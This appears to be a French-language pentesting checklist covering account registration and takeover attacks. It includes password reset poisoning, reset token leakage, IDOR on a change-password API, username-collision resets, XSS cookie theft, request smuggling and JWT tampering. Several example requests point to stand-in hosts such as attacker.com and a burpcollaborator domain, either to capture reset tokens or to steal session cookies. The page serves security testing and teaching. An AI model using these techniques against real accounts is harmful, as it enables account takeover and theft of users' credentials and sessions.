Registration & Takeover Vulnerabilities
Prise de Contrôle de l'Inscription
Inscription en Double
Essayez de générer en utilisant un nom d'utilisateur existant
Vérifiez en variant l'e-mail :
majuscules
+1@
ajoutez des points dans l'e-mail
caractères spéciaux dans le nom de l'e-mail (%00, %09, %20)
Mettez des caractères noirs après l'e-mail :
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Énumération des Noms d'Utilisateur
Vérifiez si vous pouvez déterminer si un nom d'utilisateur a déjà été enregistré dans l'application.
Politique de Mot de Passe
En créant un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles). Dans ce cas, vous pouvez essayer de forcer les informations d'identification.
Injection SQL
Consultez cette page pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des Injections SQL dans les formulaires d'inscription.
Prises de Contrôle Oauth
OAuth to Account takeoverVulnérabilités SAML
SAML AttacksChangement d'Email
Une fois inscrit, essayez de changer l'e-mail et vérifiez si ce changement est correctement validé ou s'il peut être changé en e-mails arbitraires.
Autres Vérifications
Vérifiez si vous pouvez utiliser des e-mails jetables
Un mot de passe long (>200) entraîne un DoS
Vérifiez les limites de taux sur la création de compte
Utilisez username@burp_collab.net et analysez le callback
Prise de Contrôle de Réinitialisation de Mot de Passe
Fuite de Jeton de Réinitialisation de Mot de Passe Via Référent
Demandez la réinitialisation du mot de passe à votre adresse e-mail
Cliquez sur le lien de réinitialisation du mot de passe
Ne changez pas le mot de passe
Cliquez sur n'importe quel site tiers (par exemple : Facebook, Twitter)
Interceptez la requête dans le proxy Burp Suite
Vérifiez si l'en-tête referer divulgue le jeton de réinitialisation du mot de passe.
Empoisonnement de Réinitialisation de Mot de Passe
Interceptez la demande de réinitialisation de mot de passe dans Burp Suite
Ajoutez ou modifiez les en-têtes suivants dans Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
Transférez la demande avec l'en-tête modifié
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Recherchez une URL de réinitialisation de mot de passe basée sur l'en-tête host comme :
https://attacker.com/reset-password.php?token=TOKEN
Réinitialisation de Mot de Passe Via Paramètre Email
IDOR sur les paramètres de l'API
L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité Changer de mot de passe.
Démarrer Burp Suite et intercepter la requête.
Envoyez-la à l'onglet repeater et modifiez les paramètres : ID utilisateur/email
powershell POST /api/changepass [...] ("form": {"email":"victime@email.com","password":"motdepassesecurise"})
Jeton de réinitialisation de mot de passe faible
Le jeton de réinitialisation de mot de passe doit être généré de manière aléatoire et unique à chaque fois. Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
Horodatage
ID utilisateur
Email de l'utilisateur
Prénom et nom de famille
Date de naissance
Cryptographie
Chiffres uniquement
Petite séquence de jeton (caractères entre [A-Z,a-z,0-9])
Réutilisation du jeton
Date d'expiration du jeton
Fuite de jeton de réinitialisation de mot de passe
Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un e-mail spécifique par exemple : test@mail.com
Inspectez la réponse du serveur et recherchez
resetToken
Ensuite, utilisez le jeton dans une URL comme
https://exemple.com/v3/user/password/reset?resetToken=[LE_JETON_DE_REINITIALISATION]&email=[L_EMAIL]
Réinitialisation de mot de passe via collision de nom d'utilisateur
Inscrivez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces blancs insérés avant et/ou après le nom d'utilisateur. par exemple :
"admin "
Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
Utilisez le jeton envoyé à votre e-mail et réinitialisez le mot de passe de la victime.
Connectez-vous au compte de la victime avec le nouveau mot de passe.
La plateforme CTFd était vulnérable à cette attaque. Voir : CVE-2020-7245
Prise de contrôle de compte via Cross Site Scripting
Trouvez une XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont définis sur le domaine parent :
*.domaine.com
Fuite du cookie de session actuel
Authentifiez-vous en tant qu'utilisateur en utilisant le cookie
Prise de contrôle de compte via Smuggling de requête HTTP
Utilisez smuggler pour détecter le type de Smuggling de requête HTTP (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
\Créez une requête qui écrasera le
POST / HTTP/1.1
avec les données suivantes :GET http://quelquechose.burpcollaborator.net HTTP/1.1 X:
dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies\La requête finale pourrait ressembler à ce qui suit
Prise de contrôle de compte via CSRF
Créer une charge utile pour le CSRF, par exemple : "Formulaire HTML avec soumission automatique pour un changement de mot de passe"
Envoyer la charge utile
Prise de contrôle de compte via JWT
Le jeton JSON Web peut être utilisé pour authentifier un utilisateur.
Modifier le JWT avec un autre ID utilisateur / e-mail
Vérifier la signature JWT faible
Références
Last updated